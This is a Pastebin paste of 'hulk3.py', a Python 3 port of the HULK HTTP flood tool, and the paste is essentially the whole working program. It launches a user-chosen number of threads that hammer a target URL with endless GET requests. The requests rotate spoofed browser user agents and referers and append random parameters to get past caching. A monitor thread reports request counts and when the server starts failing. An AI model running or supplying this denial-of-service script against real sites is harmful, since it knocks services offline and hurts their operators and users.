Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ----------------------------------------------------------------------------------------------
- # This is hulk3.py made to support Python 3
- # The original author's name is Barry Shteiman made to support Python 2
- #
- # Author : Drqonic, version 2.0
- # ----------------------------------------------------------------------------------------------
- import argparse
- import random
- import re
- import requests
- import threading
- from urllib3.exceptions import InsecureRequestWarning
- requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
- useragents = [
- "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
- "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
- "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
- "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
- "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
- "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
- "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
- ]
- referers = [
- "http://www.google.com/?q=",
- "http://www.usatoday.com/search/results?q=",
- "http://engadget.search.aol.com/search?q="
- ]
- def buildblock(size):
- return "".join(chr(random.randint(65, 90)) for i in range(size))
- class Controller:
- request_count = 0
- status_code = 0
- flag = True
- safety = False
- class HTTPThread(threading.Thread):
- def __init__(self, url):
- threading.Thread.__init__(self)
- self.url = url
- def run(self):
- while Controller.flag:
- headers = {
- "User-Agent": random.choice(useragents),
- "Cache-Control": "no-cache",
- "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
- "Referer": f"{random.choice(referers)}{buildblock(random.randint(5, 10))}",
- "Keep-Alive": str(random.randint(110, 120)),
- "Connection": "keep-alive"
- }
- param_joiner = "&" if self.url.count("?") else "?"
- parameter = f"{buildblock(random.randint(3, 10))}={buildblock(random.randint(3, 10))}"
- try:
- resp = requests.get(f"{self.url}{param_joiner}{parameter}", headers=headers, verify=False)
- Controller.status_code = resp.status_code
- Controller.request_count += 1
- except requests.exceptions.InvalidURL:
- Controller.flag = False
- except (requests.exceptions.ConnectionError, requests.exceptions.HTTPError):
- Controller.status_code = 500
- if Controller.safety:
- Controller.flag = False
- class HTTPMonitor(threading.Thread):
- @staticmethod
- def run():
- previous = Controller.request_count
- while Controller.flag:
- if Controller.status_code == 500:
- print("Response Code 500")
- continue
- if Controller.request_count >= previous+100:
- print(f"{Controller.request_count} Requests Sent")
- previous = Controller.request_count
- def main():
- parser = argparse.ArgumentParser()
- parser.add_argument("--url", "-u", type=str, required=True, help="Target to flood (e.g. http://example.com/)")
- parser.add_argument("--threads", "-n", type=int, required=True, help="Amount of threads to use")
- parser.add_argument("--safety", "-s", default=False, action="store_true", help="Should the flood automatically stop after succession")
- args = parser.parse_args()
- if not args.url.endswith("/"):
- args.url += "/"
- host = re.search(r"^(?:https?:\/\/)?(?:[^@\/\n]+@)?([^:\/\n]+(?::\d+)?)", args.url).group(1)
- referers.append(f"http://{host}/")
- Controller.safety = args.safety
- print("-- HULK Attack Started --")
- for i in range(args.threads):
- http_thread = HTTPThread(args.url)
- http_thread.start()
- http_monitor = HTTPMonitor()
- http_monitor.start()
- http_monitor.join()
- for thread in threading.enumerate():
- if thread == threading.current_thread():
- continue
- thread.join()
- print("\n-- HULK Attack Finished --")
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment